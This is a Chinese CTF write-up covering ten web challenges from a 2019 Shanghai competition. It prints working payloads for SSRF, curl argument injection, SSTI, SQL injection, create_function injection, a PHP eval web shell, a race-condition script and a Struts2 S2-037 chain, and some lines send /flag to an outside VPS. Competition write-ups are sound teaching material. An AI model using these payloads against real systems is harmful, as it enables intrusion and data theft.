2019神盾杯上海市网络安全竞赛Web题解

2019-06-19 约 411 字 预计阅读 2 分钟

声明:本文 【2019神盾杯上海市网络安全竞赛Web题解】 由作者 mochazz 于 2019-06-19 09:29:00 首发 先知社区 曾经 浏览数 56 次

感谢 mochazz 的辛苦付出!

本场比赛Web类题目共有11题,本WP仅写了其中10题,由于环境关闭,剩余一题未能复盘。

easyadmin

cookie使用了jwt,爆破key并伪造role值为admin,登陆即可获得flag

easygallery-1

HTML源码里面提示

<?php $flag='flag in the /flag';?>

还有一个如下链接:http://xxxx/gallery.php?path=http://127.0.0.1:8082/gallery/static/img/portfolio-1.jpg

猜测可能是SSSRF读取/flag。先在自己VPS上随便写一个 <?php phpinfo();?>,然后让题目尝试加载

http://xxxx/gallery.php?path=http://VPS/index.php 发现是空的,怀疑是不是有后缀jpg限制,所以尝试
http://xxxx/gallery.php?path=http://VPS/index.php%23.jpg
发现题目成功访问了我的VPS,并获得了PHPINFO内容。那么接下来就同样尝试使用file协议读取/flag。这里之所以加一个%23,是因为在HTML中,%23是锚点,所以后端程序获得的path参数对应的值为file:///flag,而加了%23.jpg又可以绕过题目限制。还可以看一下后端是使用什么程序发起请求的:

最终payload:http://xxxx/gallery.php?path=file:///flag%23.jpg

easygallery-2

同样,在HTML源码里面有这样一个链接

http://xxx/download.php?f=http://127.0.0.1/img/portfolio-1.jpg
这次再使用file:///flag%23.jpg 会提示scheme error!,说明后端代码可能禁用了file协议。使用上题相同的方法,可以发现后台使用的是curl来访问我们的VPS。

猜测后台可能是直接用拼接字符串,然后执行curl命令。尝试访问 http://xxx/download.php?f=http://39.108.143.11:8888/index.php+-d+mochazz%23.jpg 发现其请求是 POST方式,所以这题很有可能是命令执行。

尝试使用 http://xxx/download.php?f=http://39.108.143.11:8888/index.php+-d+/flag%23.jpg 没有获得flag,继续尝试curl的-F参数。最终payload:
http://xxxx/download.php?f=http://VPS/index.php+-F+myflag=@/flag+-F+x=mochazz.jpg

easyupload

上传文件后没有回显文件地址,但以base64图片形式显示。page参数存在文件包含,但是过滤了://无法使用php伪协议读取源码。后台代码应该类似 include $_GET['page'].'.php'; 。上传zip文件时,还会显示显示不允许的文件类型!upload jpg or gif。

上传图片处还有一个功能,可以填在线图片地址,我们可以通过这里结合file协议读取/etc/passwd

源码里面base64解密就是文件内容。尝试读取 /var/www/html/index.php 等文件都失败了,可能网站路径不是这个。但是我们可以通过 file:///proc/self/cwd/index.php 获得index.php文件。在linux中,每个进程都有一个PID,而/proc/xxx/下存放着与该进程相关的信息(这里的xxx就是PID)。/proc/xxx/下的cwd是软链接,self表示本进程。当我们通过访问Apache运行的网站时,/proc/self/cwd/就相当于apache的根目录,例如我本机Apache的根目录是/var/www/html

file:///proc/self/cwd/index.php

file:///proc/self/cwd/upload.php

这题我们前面说过可以直接添加GIF89a上传图片马,接下来就是要找到图片路径了。
路径定义在upload.php中,关键代码如下:

$name= $_FILES['pic']['name'];
$ext = pathinfo($name,PATHINFO_EXTENSION);
$filename=basename($name,$ext);
$rootpath=$ddir.md5($filename).".".$name;

这样我们就可以获得图片路径了 /proc/self/cwd/$rootpath 。接下来直接利用题目最开始的文件包含 http://xxxx/index.php?page=submit 但是这里还有一个坑。坑在upload.php中有这样一段代码:

if(preg_match('/^ph(.*)$/i',$ext)){
    if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml','phps'])) {
        file_put_contents($rootpath,preg_replace("/\?/","",file_get_contents($rootpath)));
    }
}

会把文件中的 ? 号给去掉,所以我们不能用 <?php phpcode;?> 这种写法,而要用 <script language="php">phpinfo();@eval($_GET[_]);</script> 接着直接包含即可执行命令:)当然,也可以不使用包含,直接访问马的路径。

fast_calc_2

请求包类似:

POST /calc.php HTTP/1.1
Host: b4b74052eed440eb9c7899c932f61b6ce79f555733524dc2.changame.ichunqiu.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; UM_distinctid=16b3177db8f50f-05893ba84daad1-1b29140e-100200-16b3177db90396; pgv_pvi=517607424; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1559903068,1560408162; __jsluid=ab86d4cd5c34bd66f80a8891dc2e731e; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1560434036
Connection: close
Content-Type: application/json
Content-Length: 27

{"target":"/","expr":"1+1"}

fuzz一下,发现可能是python的SSTI

发现ban了 [] ,于是本地测成功一个payload

''.__getattribute__('__class__').__base__.__getattribute__(().__class__.__mro__.__getitem__(1),'__subc'+'lasses__')().__getitem__(40)('/flag').__getattribute__('read')()

但是题目提示没有 __base__ 属性,怀疑该属性应该是被ban了。

后来队友测出直接用open方法,用空格隔开方法名和括号即可直接读取flag。

然后看了一下源码

/proc/self/cwd/calc.php

<?php
$data = file_get_contents('php://input');
$data = json_decode($data,true);
$encode_data = base64_encode($data['expr']);
system('python ./final.py '.$encode_data);
?>

/proc/self/cwd/final.py

fast_calc_1

初步判断,后端代码可能用的是nodejs或者JavaScript。

尝试用Object.getOwnPropertyNames(this).join('::::::')读取一下this对象属性,发现有java

再次尝试java.language.String,可以确认后端用的是Java了

Java中有一个新特性可以把JavaScript转成Java代码,所以这里可以执行JavaScript,即Nashorn
接下来尝试使用java代码读取flag

POST /calc.php HTTP/1.1
Host: xxx
Content-Type: application/json

{"target":"/","expr":"java.lang.Runtime.getRuntime().exec('curl VPS -d @/flag')"}

easysqli

两个点:

  • username和password经过addslashes函数处理。
  • 当username为admin时,会显示后台执行的sql语句。

利用条件比较苛刻,所以正常的SQL注入姿势是绕不过的,只能想到配合sprintf字符串格式化漏洞进行绕过,具体参考:https://paper.seebug.org/386/ 。猜测后台代码应该类似这样:

$user = addslashes($_GET['user']);
$pass = addslashes($_GET['pass']);
$sql = sprintf("select * from users where username='%s' and password='$pass'",$user);

最终利用payload: http://xxxx//result.php?user=admin&pass=%1$'=0#

parser

题目附件:
https://pan.baidu.com/share/init?surl=2_-7WPVSIgf7uCQuPk2wMA 密码:qppg

我们需要把解析后的AST文件翻译成PHP代码。

比如上面这段代码,翻译成PHP代码类似:

try {
    ('var_'.$_GET['num'])('cat /flag');
} catch (Exception $e) {}

具体参考:https://github.com/nikic/PHP-Parser/blob/master/grammar/php5.y

上面的代码告诉我们,肯定有一个变量var_xxx其值可以为命令执行函数,例如:system函数。那么我们先来看一下这些var_xxx变量的命名规则:

可以看到 var_ 后面基本上跟的都是数字,那这题就很简单了,直接用BurpSuite爆破就行了。如果这题var_ 后面跟的是不规则的字符,那可能就要全部还原一下PHP代码了。

easymanager

题目提示:一个内部站点 所以可能存在内网。注册用户后登录,查看页面源代码会发现一个hint
hint: function.php source code may help u 发现存在 function.php~ 文件。

访问 http:///xxxxxx/index.php?page=host ,会提示Permission Deny! 根据上面代码开头check_url函数可知,程序使用parse_url来解析url,而parse_url函数存在bypass。于是访问 http:///xxxxxx///index.php?page=host

虽然是显示404,但是这个页面的源码中又有提示:

<!-- Under repair .. host page can be access temporarily via 70b185c80f225924f86d4a1dedddd120.php -->

直接访问http://xxxx/70b185c80f225924f86d4a1dedddd120.php 会提示you can not visit it directly。所以我们要 http://xxxx/index.php?page=70b185c80f225924f86d4a1dedddd120 这样访问。
发现可以上传zip格式文件,那就可以考虑一下zip协议。上传一个zip压缩马,会发现其会读取zip文件的内容。

那么我们可以尝试创建软链接文件,将其打包成zip并上传,这样就可以读取网站源码了。例如下面读取index.php源码。

index.php

host.php、function.php

/etc/apache2/sites-available/000-default.conf

尝试读取 /flag 没读到。发现/etc/apache2/sites-available/000-default.conf中有/var/www/html/m4nag3r_u_dont_know目录,访问http://xxxx/m4nag3r_u_dont_know/index.php 出错,那么尝试读取/var/www/html/m4nag3r_u_dont_know/index.php源码

// /var/www/html/m4nag3r_u_dont_know/index.php
<?php
create_function($_REQUEST['func'],'flag');
?>

最后就是create_function代码注入了
http://xxxx//m4nag3r_u_dont_know/?func=){}system(%27ls%20/%27);//

http://xxxx//m4nag3r_u_dont_know/?func=){}system(%27cat%20/flag_e10adc3949ba59abbe56e057f20f883e%27);//

cat market

一开始,我们会发现证书有问题,而且无法正常访问网站。

我们需要修改本地host,将where_is_my_cat.ichunqiu.com指向题目地址。在COOKIE中还会看到HOST字段,也把它设置成where_is_my_cat.ichunqiu.com,然后就可以正常访问网站了。

我们会发现网站底部有一个/source_code_version_1.tgz ,下下来审计。这里主要发现两个漏洞点。

第一个点:竞争漏洞

首先我们看下面注册和登录两段代码,注册的时候会执行两条SQL语句,其中一条会将locked字段设置为1。而登录的时候,会判断用户所对应的locked字段。如果为1,则表示用户被锁定并直接退出程序。

这样看来,好像我们即使注册了用户,也无法登录进去。但是,如果我们开启多个线程同时注册登录,那么就有可能登录进去,这就利用了竞争漏洞。我们在对数据进行增删改的时候,要给它加一把锁,避免此时用户读到脏数据(本该读取修改后的值,却读取了修改前的值)。关于竞争漏洞的解释,还可以参考这篇文章: https://seaii-blog.com/index.php/2017/04/26/49.html

而上面的代码,我们可以通过多线程的方式,同时进行注册和登录,在执行update locked之前查询用户的 locked 字段,,从而拿到用户的cookie信息。具体代码如下:

import requests,time
import threading,random
reg_url = "https://where_is_my_cat.ichunqiu.com:8006/checkregister.php"
log_url = "https://where_is_my_cat.ichunqiu.com:8006/checklogin.php"
cookies = {
    "HOST" : "where_is_my_cat.ichunqiu.com"
}
def register(username,password):
    data = {
        "username" : username,
        "password" : password,
        "code" : int(time.time())
    }
    r = requests.post(url=reg_url, data=data, cookies=cookies, verify=False)

def login(username,password):
    data = {
        "username" : username,
        "password" : password,
    }
    s = requests.session()
    r = s.post(url=log_url, data=data, cookies=cookies, verify=False)
    print("===============================================================\n")
    print(r.cookies)
    print("===============================================================\n\n")

while True:
    username = "moch33" + str(random.randint(1,100000))
    threading.Thread(target=register, args=(username,"mochazz")).start()
    threading.Thread(target=login, args=(username,"mochazz")).start()

第二个点:SSRF

在market.php文件中,有一处重定向,我们只需要绕过is_cat函数中的规则,即可利用这个功能进行SSRF。

而且redirect.php中还存在一个重定向,刚好可以结合绕过上面的规则限制。规则要求url以图片格式结尾,我们可以使用 ?、#、& 等等符号来绕过。

// redirect.php
<?php
if(isset($_GET['u'])){
    header("Location: ".$_GET['u'].".php");
    $log = date("Y-m-d H:i:s")." : ".$_SERVER[REMOTE_ADDR]." redirect to: ".$_GET['u'].".php\n\r";
    file_put_contents("log.txt",$log,FILE_APPEND);
}else{
    header("Location: index.php");
}

接下来可以开始探测一波常用端口,看看上面有没其他web服务,然后会发现8080端口上运行这tomcat+struts2。

测一下Struts的漏洞,发现S2-037可用。

GET /market.php?url=https://where_is_my_cat.ichunqiu.com/redirect.php%3Fu%3Dhttp%253A//127.0.0.1%253A8080/struts2-rest-showcase/orders/3/%2528%252523_memberAccess%25253d%2540ognl.OgnlContext%2540DEFAULT_MEMBER_ACCESS%2529%25253f%2528%252523wr%25253d%252523context%25255b%252523parameters.obj%25255b0%25255d%25255d.getWriter%2528%2529%252C%252523rs%25253d%2540org.apache.commons.io.IOUtils%2540toString%2528%2540java.lang.Runtime%2540getRuntime%2528%2529.%252565%252578%252565%252563%2528%252523parameters.command%255B0%255D%2529.getInputStream%2528%2529%2529%252C%252523wr.println%2528%252523rs%2529%252C%252523wr.flush%2528%2529%252C%252523wr.close%2528%2529%2529%253Axx.toString.json%253F%2526obj%253Dcom.opensymphony.xwork2.dispatcher.HttpServletResponse%2526content%253D233%2526command%253Dcat%252520/flag%2526%23mochazz.jpg HTTP/1.1
Host: where_is_my_cat.ichunqiu.com:8006
Cookie: PHPSESSID=fkotbsvfhbdrfbjotnhbtriuq0; HOST=where_is_my_cat.ichunqiu.com

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now